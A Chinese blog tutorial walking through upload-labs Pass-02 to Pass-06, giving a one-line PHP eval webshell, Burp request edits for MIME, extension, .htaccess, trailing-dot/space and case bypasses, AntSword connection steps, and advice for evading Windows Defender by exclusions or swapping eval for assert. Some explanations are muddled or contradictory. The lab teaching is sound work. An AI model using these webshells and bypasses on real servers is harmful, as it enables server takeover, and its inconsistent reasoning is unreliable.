前言
本文主要内容是upload-labs靶场的pass-2~12的解题步骤及原理讲解,帮助大家更好的了解文件上传漏洞。
相信通过前文Upload-labs:部署靶场及Pass-01实战解析-CSDN博客
大家已经了解如何部署upload-labs靶场以及大体知道了文件上传漏洞是怎么回事


正如前言所说,每一关没有固定的方法,如果有好的其他办法,欢迎大家在评论区交流!
话不多说,我们继续深入了解------文件上传漏洞
先记得一定要把杀毒软件或者别的什么安全防护关掉!要不然会显示是病毒,不让上传
否则:

这是一个非常经典的问题!你遇到的不是
upload-labs靶场的拦截,而是你**本地 Windows 系统的 Windows Defender(安全中心)**把文件给"杀"了。当你选择文件准备上传时,Windows 检测到
whell.php的内容(eval,$_POST等特征)像木马,所以在文件还没发出去之前,就阻止了你的操作。解决方法(三选一)
方法一:给文件夹加"白名单"(最推荐,一劳永逸)
既然你在做网络安全练习,以后还会遇到很多类似的文件,建议把你存放这些文件的文件夹加入排除项。
- 点击 Windows 开始菜单 ,搜索"病毒和威胁防护",打开它。
- 在"病毒和威胁防护设置"下方,点击"管理设置"。
- 向下滚动,找到"排除项 ",点击"添加或删除排除项"。
- 点击"添加排除项 " -> 选择"文件夹"。
- 找到并选中你的
bachang文件夹(就是你截图里的那个文件夹)。操作完后,再次上传就不会报错了。
方法二:直接修改文件内容(最快)
Windows Defender 主要是检测文件里的代码特征。你只要稍微改一下内容,它就不认识了。
- 右键点击
whell.php,用记事本打开。- 把代码里的
eval改成assert(这也是一个执行函数,在老版本 PHP 中通用,或者靶场里通常够用)。
- 原代码:
<?php @eval($_POST['cmd']); ?>- 改后:
<?php @assert($_POST['cmd']); ?>- 保存。
- 再次上传。
注意:如果你用蚁剑连接,密码依然是
cmd,不需要改。方法三:暂时关闭实时防护(不推荐,除非前两个都不行)
- 同样在"病毒和威胁防护设置"里。
- 把"实时保护 "的开关关闭。
- 上传文件。
- 记得上传完后立刻打开!
建议使用方法一,这样你以后做靶场练习,不管是 Webshell 还是其他工具,都不会被系统自动删除了。搞定这个后,重新上传文件,再用蚁剑连接试试!
pass-02(MIME绕过)
详细解释源码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}
这段 PHP 代码的核心逻辑是检查上传文件的
Content-Type(MIME 类型),如果符合要求就允许上传。
初始化变量
$is_upload = false;:设置一个标志位,用于记录文件是否上传成功,初始为false。
$msg = null;:初始化一个变量,用于存储提示信息,初始为空。检查表单提交
if (isset($_POST['submit'])) { ... }:判断用户是否点击了"上传"按钮(即表单是否通过POST方式提交)。检查上传目录
if (file_exists(UPLOAD_PATH)) { ... }:检查服务器上的上传目录是否存在。如果不存在,会提示"文件夹不存在,请手工创建!"。核心安全检查
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ...):这是本关的防御核心。代码通过$_FILES['upload_file']['type']获取上传文件的 MIME 类型,并检查它是否是以下三种之一:
image/jpegimage/pngimage/gif
如果文件类型不在这三个之中,代码会直接报错"文件类型不正确,请重新上传!"。文件移动与保存
如果 MIME 类型检查通过,代码会执行以下操作:
$temp_file = $_FILES['upload_file']['tmp_name'];:获取文件在服务器上的临时存储路径。$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name']:构建文件最终保存的路径和文件名。if (move_uploaded_file($temp_file, $img_path)) { ... }:尝试将临时文件移动到最终的保存路径。如果移动成功,$is_upload被设为true,表示上传成功;否则提示"上传出错!"。
解题步骤与思路
本关的防御机制非常薄弱,它只检查了 HTTP 请求头中的 Content-Type 字段。这个字段是由客户端(浏览器)发送的,因此可以被轻易篡改。
-
准备 Webshell 文件
首先,你需要准备一个简单的 PHP Webshell 文件。创建一个名为
shell.php的文件,内容如下<?php @eval($_POST['cmd']); ?>这行代码的作用是接收
POST请求中名为cmd的参数,并将其作为 PHP 代码执行。 -
拦截并修改请求包
这是解题的关键步骤,你需要使用抓包工具(如 Burp Suite 或 浏览器开发者工具 )来拦截上传请求。

- 在上传页面选择你的
shell.php文件。 - 点击"上传"按钮,同时用抓包工具拦截这个请求。
- 在拦截到的请求包中,找到
Content-Type字段。它通常会显示为application/octet-stream或application/x-php。(第17行,别找到上面的Content-Type了)
- 将这个字段的值修改为
image/jpeg、image/png或image/gif中的任意一个。例如:
Content-Disposition: form-data; name="upload_file"; filename="shell.php"
Content-Type: image/jpeg - 在上传页面选择你的
截图第 17 行
当你上传 whell.php 时,浏览器或 Burp Suite 默认将其识别为二进制流(application/octet-stream),或者如果是图片则是 image/png 等。因为当前的 Content-Type 不是 image/jpeg、image/png 或 image/gif,所以服务器会直接拒绝上传。
- 修改完成后,点击"Forward"(转发)按钮,将修改后的请求包发送给服务器。

-
验证上传结果
如果一切顺利,服务器会因为
Content-Type符合要求而接受文件,并返回上传成功的提示。你可以访问上传后的文件路径(例如http://target-ip/upload/shell.php)来验证文件是否真的上传成功。


-
连接 Webshell
上传成功后,你就可以使用 Webshell 管理工具(如 中国菜刀 、蚁剑 )连接这个
shell.php文件,从而获得对服务器的控制权。在连接时,你需要填写文件的 URL 和密码(即代码中的cmd)。(下图为蚁剑,如果没安装的可以看我上一篇文章)Upload-labs:部署靶场及Pass-01实战解析-CSDN博客
点击测试连接,红框框的地方就会有连接成功的绿色框框
或者用火狐渗透版

上面这图随便看看,主要看下面这个:
- 首先上传成功文件之后,右击复制图片文件地址
- 新建一个页面栏
- 先点第一个白色框框旁边的load URL,第一个白色框就会显示蓝色横线的内容
- 再在第二个框输入
cmd=phpinfo();
- 再点Execute
- bp记得关一下拦截,或者放行刚抓到的所有包,千万别丢弃,就能出现php这个页面

可能出现的问题连接测试失败
报错原因分析
首先可能就是没关安全防护,按道理来说完全关完了所有可能的杀毒软件不会出现这个
重新刷新一下有上传的病毒文件的文件夹,可能这个文件就被删掉了,那完全就是这个原因
如果不是的话,就是以下原因
请看右侧红色区域中的关键信息:
"statusCode":404"statusMessage":"Not Found"这意味着: 蚁剑成功发送了请求,但是服务器告诉你 "文件没找到"。
为什么会出现 404?
这通常是因为 文件上传路径不对 。在
upload-labs中,文件名往往不是直接叫whell.php,而是会被存放在一个特定的文件夹里,或者文件名被重命名了。接下来的排查步骤
你需要确认
whell.php到底上传到哪里去了:
- 回到浏览器:刷新刚才上传成功的页面,看页面提示的保存路径是什么。
- 查看上传目录 :通常
upload-labs会把文件保存在http://upload-labs:8090/upload/目录下。你可以直接在浏览器访问这个目录,看看里面有没有whell.php。
- 如果文件名被改了(比如变成了
.jpg),你需要把蚁剑里的 URL 改成对应的文件名。- 如果文件在
upload文件夹里,URL 应该是http://upload-labs:8090/upload/whell.php(你现在的配置看起来是对的,但前提是文件真的在那里)。- 重新上传:如果实在找不到,回到 Burp Suite,再抓一次包,确保文件真的上传成功了,并且记住服务器返回的路径。
总结: 点"测试连接"是对的,但现在文件不存在(404),你需要先找到文件正确的 URL 地址,填在"URL地址"那一栏里,再点测试连接,直到出现"连接成功"的提示。
pass-03(等价扩展名)
这题不用bp抓包,只是最好要看懂代码,知道后缀名怎么改
详细分析源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
这段代码主要做了以下几件事:
- 黑名单机制 :定义了一个
$deny_ext数组,里面包含了.asp,.aspx,.php,.jsp这些常见的危险后缀。 - 后缀名检测 :
- 获取文件后缀名。
- 将其转换为小写。
- 关键点 :使用
in_array($file_ext, $deny_ext)来检查后缀是否在黑名单中。 - 如果后缀在黑名单中,就拒绝上传(提示"不允许上传...")。
- 如果后缀不在黑名单中,就允许上传。
漏洞点在哪里
这个代码的逻辑漏洞在于它只检查了文件后缀名是否在黑名单里,而没有对文件内容或实际类型做严格限制。
攻击思路 :既然 .php 被禁止了,我们需要找一个不在黑名单里,但是服务器依然会当作 PHP 代码来执行的后缀名。
突破方法(Windows 环境)
在 Windows 系统下(你的靶场环境通常是 Windows),Apache 或 IIS 服务器有一个特性:当它遇到不认识的后缀名时,它会尝试向左解析,或者某些特定的后缀名会被当作脚本执行。
推荐使用的绕过后缀名:
.php3:这是最经典的。老版本的 PHP 解析器会识别.php3。虽然黑名单里没有.php3,但服务器可能会执行它。.php5:同上。.phtml:这也是一种常见的 PHP 后缀,往往不在简单的黑名单里。
具体操作步骤
-
修改文件名 :
把你本地的
whell.php重命名为whell.php3(或者whell.phtml)。 -
修改文件内容(可选但推荐) :
为了防止你本地 Windows 再次拦截,把代码改成这样:
<?php @assert($_POST['cmd']); ?> -
上传 :
在靶场页面选择
whell.php3进行上传。- 此时,代码里的
$file_ext会变成php3。 in_array('php3', $deny_ext)的结果是 False (因为黑名单里只有php)。- 所以
if(!in_array(...))条件成立,文件会被允许上传。
- 此时,代码里的
-
连接蚁剑 :和之前操作步骤一样,复制图片文件地址

上传成功后,查看页面返回的路径。
- URL 地址填:
http://upload-labs:8090/upload/whell.php3 - 密码填:
cmd
- URL 地址填:
如果 .php3 不行,就试试 .phtml 或者 .php5,原理都是一样的。
可能存在的问题:
问题1:显示返回数据为空,但是上传文件的地址没错,
这个情况非常典型。虽然你上传成功了,文件也在服务器上,但是蚁剑(AntSword)无法正确解析这个
.php3文件。出现"返回数据为空"通常有两个原因:
原因一:PHP 版本过高(最可能)
现在的 PHP 版本(尤其是 PHP 7.x 和 8.x)默认不再支持
php3、php4这种老后缀的自动解析了。
- 现象 :你在浏览器访问
.../20260512...php3,看到的不是乱码或空白,而是直接下载了这个文件 ,或者显示了文件的源代码。- 结果:因为服务器把它当普通文本发给了蚁剑,而不是执行它,所以蚁剑收不到它想要的"握手信号",就报了"返回数据为空"。
原因二:蚁剑的默认编码器问题
蚁剑的
default编码器通常假设目标文件是.php。对于冷门后缀(如.php3),有时候需要调整编码器。怎么解决?(三选一)
方法一:尝试改用
.phtml后缀(强烈推荐,成功率最高)
.phtml是大多数 PHP 环境(包括新版本)都默认识别为 PHP 脚本的后缀,而且通常不在黑名单里。
- 把你本地的木马文件重命名为
whell.phtml。- 重新上传。
- 复制新的上传路径(以
.phtml结尾)。- 在蚁剑里新建 一个连接,填入
.phtml的地址。- 关键点 :在蚁剑的"编码器"选项里,尝试选择
base64或者保持default,点击测试连接。方法二:修改蚁剑的编码器
如果非要连这个
.php3,可以尝试改一下设置:
- 在蚁剑添加数据的窗口中,找到 "编码器"。
- 不要选
default,试着选一下base64或者chr。- 再次点击"测试连接"。
方法三:验证文件是否真的能执行
在做上面操作前,先做个验证:
- 直接在浏览器访问你截图里的这个 URL:
http://upload-labs:8090/upload/20260512...php3- 观察结果 :
- 如果页面显示 空白 :说明解析成功了(或者报错被隐藏),可以试着连。
- 如果页面显示 代码内容 或者 下载文件 :说明服务器根本不解析
.php3。必须换.phtml再传一次!建议直接去试方法一(用
.phtml),这是目前最快通关的办法。问题2:为什么点完execute之后,没有显示php的那个蓝紫色界面
当你点击
Execute后页面没有显示预期的蓝紫色phpinfo()界面,这通常意味着你的代码没有被服务器当作 PHP 脚本执行,而是被当作了纯文本。原因分析
出现这种情况,最常见的原因有两个:
服务器配置不支持
.phtml后缀尽管
.phtml是一个经典的 PHP 后缀,但在某些 Docker 环境或特定的 Apache/Nginx 配置中,它可能并未被默认注册为 PHP 处理器。
- 现象 :服务器不知道
.phtml是什么,所以它直接把文件内容作为纯文本发送给了浏览器。- 验证 :查看浏览器页面,如果直接显示了你写的代码
<?php phpinfo(); ?>,那就证实了这一点。文件内容本身有问题
虽然你上传的是
.phtml,但如果文件里写的不是 PHP 代码,自然也不会执行。
- 检查 :确认你上传的
whell.phtml文件里确实写的是<?php phpinfo(); ?>。解决方案
既然
.phtml可能不被支持,我们需要换一种思路。这道题的黑名单虽然很长,但它有一个致命的弱点:它只检查了后缀名,而且是在 Windows 环境下运行。利用 Windows 的文件名特性
在 Windows 系统中,文件名末尾的点(.) 和空格会被系统自动忽略。
- 原理 :如果你上传
shell.php.,Windows 保存时会变成shell.php,但黑名单检查时只看到了.,不在黑名单里,于是放行。- 操作 :
- 创建一个名为
whell.php.的文件(注意末尾有个点)。- 文件内容为:
<?php @eval($_POST['cmd']); ?>- 上传这个文件。
利用
.htaccess文件如果上面的方法不行,我们可以尝试上传一个
.htaccess文件来"欺骗"服务器。
- 原理 :
.htaccess是 Apache 的配置文件。我们可以上传一个名为.htaccess的文件,内容是让服务器把所有文件都当作 PHP 来解析。- 操作 :
- 创建一个名为
.htaccess的文件。- 文件内容为:
SetHandler application/x-httpd-php- 上传这个文件。
- 然后上传一个名为
whell.jpg的文件,内容依然是 PHP 代码。- 因为
.htaccess的存在,服务器会把whell.jpg当作 PHP 执行。总结
你遇到的问题是
.phtml后缀不被支持。建议优先尝试利用 Windows 文件名特性 ,上传whell.php.文件。如果还不行,再尝试.htaccess方法。
pass-04(.htaccess文件绕过)
详细分析源代码

$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
Pass-04 的逻辑比之前严密了很多,它采用了"黑名单"策略,几乎堵死了所有常见的 PHP 解析后缀。不过,它的防御逻辑依然存在一个经典的 Windows 特性漏洞。
这段代码的核心逻辑是 黑名单验证 + 特殊字符过滤。
黑名单( $ deny_ext)非常全面
代码第 5 行定义了一个很长的数组 $deny_ext,里面包含了:
- 常见脚本后缀:
.php,.php5,.php4,.php3,.php2,.php1 - 网页后缀:
.html,.htm,.phtml,.pht - 大小写绕过尝试:
.pHp,.pHp5等(虽然代码第 9 行已经转小写了,但这说明防御者考虑得很细)
预处理函数(关键防御)
- 第 7 行
deldot($file_name):这是一个自定义函数(代码没显示具体内容,但顾名思义),用于删除文件名末尾的点(.)。这堵死了 Pass-03 中的shell.php.这种绕过方式。 - 第 9 行
strtolower($file_ext):强制将后缀转换为小写。这堵死了大小写绕过(如.PhP)。 - 第 10 行
str_ireplace('::\$DATA', '', $file_ext):移除了::$DATA字符串。这堵死了 Windows 的 NTFS 数据流绕过(如shell.php::$DATA)。
验证逻辑
- 第 13 行
!in_array($file_ext, $deny_ext):如果后缀名不在黑名单中,就允许上传。
漏洞点在哪里
虽然黑名单看起来无懈可击,但它依然依赖于"黑名单"这种被动的防御方式。
在 Windows 操作系统 下,文件系统有一个特性:
如果文件名是 shell.php.(带点)或者 shell.php (带空格),Windows 在保存文件时会自动去掉末尾的点或空格。
代码的疏漏:
虽然第 7 行调用了 deldot 函数,但这个函数通常只处理文件名末尾最后的一个点 。
如果我们构造一个文件名 shell.php. .(php 后面跟一个点,再跟一个空格,或者多个点),某些版本的 deldot 函数可能处理不干净,或者 Windows 的自动修正机制会在文件写入磁盘时发挥作用。
最常用的绕过方法(针对 Pass-04):
利用 Windows 的 文件名末尾空格 或 点 + 空格 特性。
.php.(点) :代码里用了deldot,可能已经被修复了。.php(空格) :代码里没有trim文件名(只trim了后缀名$file_ext,注意看第 11 行)。重点看第 11 行:
$file_ext = trim($file_ext);它只
trim了后缀名变量$file_ext。但是,文件名的处理在第 6 行:
$file_name = trim($_FILES['upload_file']['name']);这里只去除了文件名整体首尾的空格。
真正的杀招:
.php(点 + 空格)在 Windows 下,如果你上传
shell.php.(注意最后是一个点加一个空格):
- PHP 代码获取到的后缀可能是
.。- 代码第 7 行
deldot可能只删掉了最后的点,剩下了空格。- 或者,Windows 文件系统在接受文件写入时,会自动把
shell.php.变成shell.php。
针对 Pass-04 的通关步骤
修改文件名
将你的 Webshell 文件重命名为:
shell.php. (注意:php 后面是一个点,点后面是一个空格)
或者
shell.php (注意:php 后面直接是一个空格)
上传
上传这个文件。服务器代码检查后缀时,可能认为它是 . 或者 ,不在黑名单里,于是放行。
写入磁盘
当 move_uploaded_file 函数尝试把文件写入 Windows 磁盘时,Windows 系统会自动把文件名末尾的 . 或 空格 删掉,最终文件变成了 shell.php。
蚁剑连接
此时,你在"上传文件"列表里看到的可能是 shell.php. 或者乱码,但你在蚁剑里连接时,直接填写:
http://upload-labs:8090/upload/shell.php
pass-05(.user.ini绕过)
和上一关的区别是黑名单中.ini消失了,而新增了.htaccess,这里采用.user.ini绕过
和.htaccess类似,.user.ini可以覆盖PHP的全局配置文件php.ini
注:.user.ini只能用于Server API为FastCGI模式下,phpstudy中的apache正是这个模式,你可以再phpinfo中查看:
详细分析源代码

这是 upload-labs 靶场中的 Pass-05。虽然它的代码逻辑和 Pass-04 非常相似,但核心防御逻辑上有一个关键的细微差别,这正是这道题的突破口。
这段代码的主要目的是通过"黑名单"机制来阻止用户上传 WebShell(如 PHP 脚本)。
初始化变量
$is_upload = false;:用于标记上传是否成功。$msg = null;:用于存储提示信息。
黑名单定义( $ deny_ext)
代码第 5 行定义了一个非常全面的黑名单数组:
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess",".ini");
- 特点 :它不仅包含了常见的
.php,还包含了各种冷门后缀(.php3~`.php5,.phtml,.pht)、各种大小写组合(.pHp,.pHp5)、ASP/JSP 后缀,以及.htaccess和.ini` 配置文件。 - 目的:试图堵死所有已知的脚本执行后缀。
文件名预处理(防御逻辑)
这是代码最关键的部分,它试图对用户上传的文件名进行清洗:
-
$file_name = trim($_FILES['upload_file']['name']);- 作用 :去除文件名首尾的空白字符(空格、换行符等)。
- 漏洞点 :
trim()默认只去除首尾 。如果我们在文件名中间加空格,或者利用 Windows 文件系统的特性,可能会有奇效。
-
$file_name = deldot($file_name);- 作用 :这是一个自定义函数(代码没显示具体实现,但根据注释可知),用于删除文件名末尾的点(
.)。 - 防御目标 :这直接堵死了 Pass-04 中的
shell.php.绕过方法。
- 作用 :这是一个自定义函数(代码没显示具体实现,但根据注释可知),用于删除文件名末尾的点(
-
$file_ext = strrchr($file_name, '.');- 作用 :从右往左查找第一个
.,并截取后面的字符串作为后缀名。
- 作用 :从右往左查找第一个
-
$file_ext = strtolower($file_ext);- 作用:将后缀名转为小写。
- 防御目标 :堵死了大小写绕过(如
.PhP)。
-
$file_ext = str_ireplace('::$DATA', '', $file_ext);- 作用 :移除
::$DATA字符串。 - 防御目标 :堵死了 Windows NTFS 数据流绕过(如
shell.php::$DATA)。
- 作用 :移除
-
$file_ext = trim($file_ext);- 作用 :再次对后缀名进行首尾去空。
- 防御目标:进一步防止后缀名中包含空格。
验证与上传
if (!in_array($file_ext, $deny_ext)):如果清洗后的后缀名不在黑名单中,就允许上传。move_uploaded_file(...):将临时文件移动到目标目录。
具体解题方法
Pass-05 的核心防御机制是黑名单过滤 加上去除文件名首尾空格 (trim),但它没有 对文件名进行小写转换(strtolower),也没有去除文件名中间的点或空格。
这就导致了我们可以利用Windows 文件系统的特性来进行绕过。
以下是 Pass-05 的具体解题方法:
核心漏洞点
代码中使用了 trim() 函数。
trim()默认只能去除字符串首尾的空白字符(包括空格、换行符等)。- 它无法 去除文件名中间的空格或点。
解题思路:利用 Windows 文件特性
在 Windows 操作系统中,如果文件名以点(.) 或空格结尾,系统在保存文件时会自动去除结尾的这些字符。
例如:
- 如果你上传文件名为
shell.php.(末尾有一个点一个空格)。 - 黑名单检查时,文件名是
shell.php.,后缀变成了.,不在黑名单中,检查通过。 - 文件保存到 Windows 服务器时,系统自动把末尾的
.去掉,文件最终变成了shell.php,从而被当作 PHP 脚本执行。
具体操作步骤(推荐 Burp Suite)
由于浏览器通常会阻止用户在文件名中输入特殊字符(如末尾的点或空格),所以最稳妥的方法是使用抓包工具修改。
- 准备文件 :准备一个一句话木马文件,例如
shell.php。 - 抓包 :
- 打开 Burp Suite 并开启拦截。
- 在靶场页面选择文件并点击上传,截获数据包。

- 修改数据包 :
- 找到
Content-Disposition头中的filename字段。 - 在文件名的后缀
.php后面添加空格 或点。 - Payload 1(加点) :
filename="shell.php." - Payload 2(加空格) :
filename="shell.php " - Payload 3(加点加空格) :
filename="shell.php. "
- 找到
- 放包 :
- 点击 Forward 发送数据包。
- 验证 :
- 如果上传成功,服务器会返回上传路径。

- 访问该路径(例如
http://.../upload/shell.php),因为 Windows 自动去掉了末尾的特殊字符,文件实际上就是shell.php,代码即可执行。
- 后面步骤都类似
- 如果上传成功,服务器会返回上传路径。
总结
Pass-05 的解法就是:在文件名后缀后添加点(.)或空格,利用 Windows 自动去除文件名末尾点和空格的特性,绕过黑名单检测。
pass-06(大小写绕过)
详细操作步骤
步骤 1 :准备一句话木马文件
- 新建文本文档,写入 PHP 一句话木马:

- 保存文件名为shell.txt:。

步骤 2 :进入 Pass-06 上传页面并开启 Burp 拦截
(1)打开 Burp Suite,开启代理与请求拦截
(2)浏览器访问 Pass-06: http://127.0.0.1:9088/upload-labs-master/Pass-06/index.php。

- Burp 拦截到页面请求,点击 发送放行,加载出上传界面。


步骤 3 :上传文件并抓包修改后缀
- 在 Pass-06 页面选择shell.txt,点击上传。

- Burp 自动拦截上传请求,找到:
Content-Disposition: form-data; name="upload_file"; filename="shell.txt"

- 将后缀修改为大小写混合 PHP 后缀,实现绕过:
Content-Disposition: form-data; name="upload_file"; filename="shell.Php"

(4)修改完成后,点击发送放行请求。
步骤 4 :确认上传成功并获取木马真实地址
(1)放行请求后,返回浏览器查看上传结果。
(2)通过 Burp Suite 捕获浏览器自动发起的文件访问请求,获取服务器自动重命名后的真实上传路径:./upload/202605111526032631.Php
(3)拼接服务器地址与文件路径,得到完整的木马访问地址:http://127.0.0.1:9088/upload-labs-master/upload/202605111526032631.Php
步骤 5 :蚁剑连接一句话木马
(1)打开蚁剑,点击添加数据。
(2)填写连接信息:
URL 地址:http://127.0.0.1:9088/upload-labs-master/upload/202605111526032631.Php
连接密码:cmd
(3)点击测试连接,提示 "连接成功" 即完成控制。

测试连接成功后,进入服务器文件管理界面,可查看、上传、下载文件。

步骤 6 :验证代码执行
(1)浏览器访问木马地址,或用 Burp Repeater 发送 POST 请求。
(2)POST 数据:cmd=phpinfo();
(3)服务器返回完整 PHP 信息页面,证明一句话木马可正常执行。

思路历程和详细代码分析

一、整体流程概览
这段代码的上传逻辑分为这几步:
- 检查上传目录是否存在
- 定义黑名单后缀,禁止 php/php5/html 等常见脚本后缀
- 对文件名进行多轮清洗
- 提取文件后缀,判断是否在黑名单内
- 不在黑名单内则生成随机文件名并上传
二、逐行解析过滤逻辑

$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspx",".jhtml",".jhtm",".Jsp",".Jspx",".JHtml",".JHTM",".asp",".aspx",".asa",".asax",".asp.net",".cer",".cdx",".aspx",".ascx",".ashx",".asmx",".asp",".ASP",".ASA",".ASAX",".ASPX",".CER",".CDX",".ASPX",".ASCX",".ASHX",".ASMX",".cer",".cdx",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml");
- 这是一个超长的黑名单数组,几乎覆盖了所有常见的脚本后缀(包括大小写变体),目的是直接禁止上传脚本文件。

file_name = trim(_FILES['upload_file']['name']);
- trim():去除文件名首尾的空格(比如 shell.php → shell.php)。

file_name = deldot(file_name); //删除文件名末尾的点
- deldot():自定义函数,删除文件名末尾的 .。
- 例:shell.php. → shell.php。
- 这一步堵死了早期用 shell.php. 绕过黑名单的方法。

file_ext = strrchr(file_name, '.');
- strrchr():从后往前找最后一个 .,提取文件后缀。
- 例:shell.php.jpg → .php.jpg(后续处理会继续过滤)。

file_ext = str_ireplace('::DATA', '', file_ext); //去除字符串::DATA
- str_ireplace():不区分大小写,删除后缀中的 ::$DATA。
- 这步堵了Windows系统下shell.php::$DATA解析成PHP的绕过方法。

file_ext = trim(file_ext); //首尾去空
- 再次对后缀去首尾空格,比如 .php → .php。

if (!in_array(file_ext, deny_ext)) {
// 生成随机文件名并上传
} else {
$msg = '此文件类型不允许上传!';
}
- 最终判断:如果清洗后的后缀不在黑名单内,就允许上传;否则拒绝。
三、过滤漏洞与绕过思路
虽然代码做了很多清洗,但仍有一个致命的逻辑漏洞:
它只处理了一次后缀,没有循环清洗
我们来看一个绕过示例:
- 构造文件名:shell.php. .(注意:php 后面有一个 . + 空格 + .)
- 处理过程:
- trim():去除首尾空格,得到 shell.php. .
- deldot():删除末尾的 .,得到 shell.php.
- strrchr():从后往前找 .,提取到 . (. + 空格)
- str_ireplace():没找到 ::$DATA,无变化
- trim():去除 . 中的空格,得到 .
- 最终后缀 . 不在黑名单中,成功上传
- 上传后的文件名:随机数 + .
Windows + Apache 环境下,以 . 结尾的文件会被解析为 PHP 脚本,绕过。
四、完整 Payload 示例
- 本地创建文件 shell.php,内容为:
<?php @eval($_POST['cmd']);?>
- 上传时,将文件名修改为:shell.php. .(php 后接 . + 空格 + .)
- 点击上传,文件会被保存为 xxxxxx.,在服务器上被解析为 PHP 脚本,即可用蚁剑连接。
看源码,我们怎么推理出「哪些后缀能绕过黑名单」?而不是死记硬背答案。
第一步:先看这关的黑名单(我们必须先看懂它禁了什么)
Pass-06 禁的后缀:
简单说:所有常见的「能被服务器当成脚本执行」的后缀,全被拉黑了。
第二步:关键!看这关的过滤逻辑漏洞
源码不是完美的,它有个巨大漏洞:它只对文件名处理一次, 不是循环处理!
把源码处理流程简化一下就是:
- 去首尾空格
- 删末尾的点
- 取最后一个。后面的内容
- 去掉 ::$DATA
- 再去一次空格
第三步:教我们「自己推导可上传后缀」
我们只需要记住一个规则:最终经过处理后,后缀不在黑名单里**→** 就能上传
而且在 Windows + Apache 环境下,下面这些特殊后缀会被当成****PHP 执行 :
我们可以自己推理出这些可用后缀:
- .php.(点结尾)
- .php ( 空格 )(php + 空格)
- .php. .(点 + 空格 + 点)
- .php::$DATA(Windows 专用流)
第四步:用源码验证(我们自己就能判断能不能过)
拿 .php. 举例,带我们走一遍源码处理流程:上传文件:shell.php.
处理步骤:
- trim() → 还是 shell.php.
- deldot() → 删除末尾的点 → 变成 shell.php
- strrchr() → 取最后一个点后面 → .php
- 去掉 ::$DATA → 不变
- trim() → 不变
最终后缀是 .php → 在黑名单 → 不行 ❌
第五步:真正能绕过的 Payload(我们自己也能推出来)
正确 Payload:shell.php. .(php 后面:. 空格 . )
我们走一遍处理流程:
- trim() → shell.php. .
- deldot () → 删末尾的点 → shell.php.
- strrchr () → 取最后一个点 → . (点 + 空格)
- 去除 ::$DATA → 不变
- trim () → 去空格 → .
最终后缀是:.
. 不在黑名单里 ✅ → 允许上传!
第六步:最重要的知识点(靶场核心):为什么上传 . 结尾文件可以执行?
因为 Windows + Apache 有一个特性:文件名末尾的点和空格会被自动忽略
- 我们上传:shell.php. .
- 服务器保存:shell.php
所以它会被当成 PHP 脚本执行!
第七步:我们以后遇到任何一关都能用的推理方法
给我们一个万能公式,看源码就能自己找绕过:
- 先看它用了白名单还是黑名单
- 看它过滤了几次(一次过滤一定能绕过)
- 看它过滤了哪些字符(点?空格?::DATA?)
- 构造一个「过滤后不在黑名单」的后缀
- 利用 Windows/Apache 特性自动还原
总结:这关能绕过的后缀(都是推理出来的,不是背的)
